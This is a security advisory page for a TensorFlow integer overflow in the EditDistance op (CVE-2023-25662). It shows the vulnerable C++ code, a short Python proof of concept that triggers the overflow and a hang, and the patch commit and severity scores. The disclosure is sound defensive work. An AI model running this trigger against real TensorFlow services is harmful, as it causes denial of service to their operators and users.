Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS03anZtLXh4bXItdjVjd84AAyUC

TensorFlow vulnerable to integer overflow in EditDistance

Impact

TFversion 2.11.0 //tensorflow/core/ops/array_ops.cc:1067 const Tensor* hypothesis_shape_t = c->input_tensor(2); std::vector dims(hypothesis_shape_t->NumElements() - 1); for (int i = 0; i < dims.size(); ++i) { dims[i] = c->MakeDim(std::max(h_values(i), t_values(i))); }

if hypothesis_shape_t is empty, hypothesis_shape_t->NumElements() - 1 will be integer overflow, and the it will deadlock

import tensorflow as tf
para={
    'hypothesis_indices': [[]],
    'hypothesis_values': ['tmp/'],
    'hypothesis_shape': [],
    'truth_indices': [[]],
    'truth_values': [''],
    'truth_shape': [],
    'normalize': False
    }
tf.raw_ops.EditDistance(**para)

Patches

We have patched the issue in GitHub commit 08b8e18643d6dcde00890733b270ff8d9960c56c.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by r3pwnx

Permalink: https://github.com/advisories/GHSA-7jvm-xxmr-v5cw
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03anZtLXh4bXItdjVjd84AAyUC
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: almost 2 years ago
Updated: almost 2 years ago

CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS Percentage: 0.00091
EPSS Percentile: 0.40216

Identifiers: GHSA-7jvm-xxmr-v5cw, CVE-2023-25662
References:

• https://github.com/tensorflow/tensorflow/security/advisories/GHSA-7jvm-xxmr-v5cw
• https://github.com/tensorflow/tensorflow/commit/08b8e18643d6dcde00890733b270ff8d9960c56c
• https://nvd.nist.gov/vuln/detail/CVE-2023-25662
• https://github.com/advisories/GHSA-7jvm-xxmr-v5cw

Repository: https://github.com/tensorflow/tensorflow
Blast Radius: 36.5

Affected Packages